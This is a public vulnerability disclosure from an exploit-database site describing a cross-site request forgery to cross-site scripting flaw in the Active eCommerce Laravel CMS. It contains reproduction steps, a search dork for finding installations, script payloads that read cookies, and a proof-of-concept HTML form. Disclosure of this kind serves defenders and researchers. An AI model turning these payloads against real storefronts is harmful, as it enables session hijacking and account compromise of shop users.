Active eCommerce Laravel CMS 5.x to 6.1.2 - Cross Site request forgery (CSRF) to Cross-site Scripting (XSS) (Authenticated)

2022.07.20
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Active eCommerce Laravel CMS 5.x to 6.1.2 - Cross Site request forgery (CSRF) to Cross-site Scripting (XSS) (Authenticated) # Date: 25/11/2021 # Exploit Author: Keyvan Hardani # Google Dork: intext:|| WHOPPS!!!THIS IS PIRATED COPY OF ACTIVE ECOMMERCE CMS # Vendor Homepage: https://activeitzone.com/ # Software Link: https://codecanyon.net/item/active-ecommerce-cms/23471405 # Version: up to 6.1.2 # Tested on: Windows 10, Kali Linux, Burp Suite Steps to Reproduce: 1. At first login as customer to the site 2. then click the navigation bar and open "Support Ticket" 3. search for Token ( _token ) on source code and copy the value 4. Option 1: save the script as html and paste the _token into token field and hit submit 5. Option 2: use XSS payload </textarea><script>alert(document.domain)</script> in Description or subject value on support ticket. 5. Now Generate a CSRF POC More info & Video: https://github.com/Keyvanhardani/Active-eCommerce-Laravel-CMS-5.5.2-Cross-Site-request-forgery-CSRF-to-Cross-site-Scripting-XSS Proof of Concept: <!DOCTYPE html> <html> <body> <form action="https://site.com/ecommerce/support_ticket" method="POST"> <input type="text" name="_token" value="gShF0bUHgMjfSmO7sqd5J5mSzvXJFnB0qeEmc6vD" placeholder="input the token and submit the form"> <input type="hidden" name="subject" value="test<script>alert(document.cookie)</script>"> <input type="hidden" name="details" value="test<script>alert(document.cookie)</script>"> <input type="hidden" name="attachments" class="selected-files"> <input type="submit" value="submit"> </form> </body> </html> DISCLAIMER: This exploit is for testing and educational purposes only. Any other usage for this code is not allowed. Use it at your own risk.


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top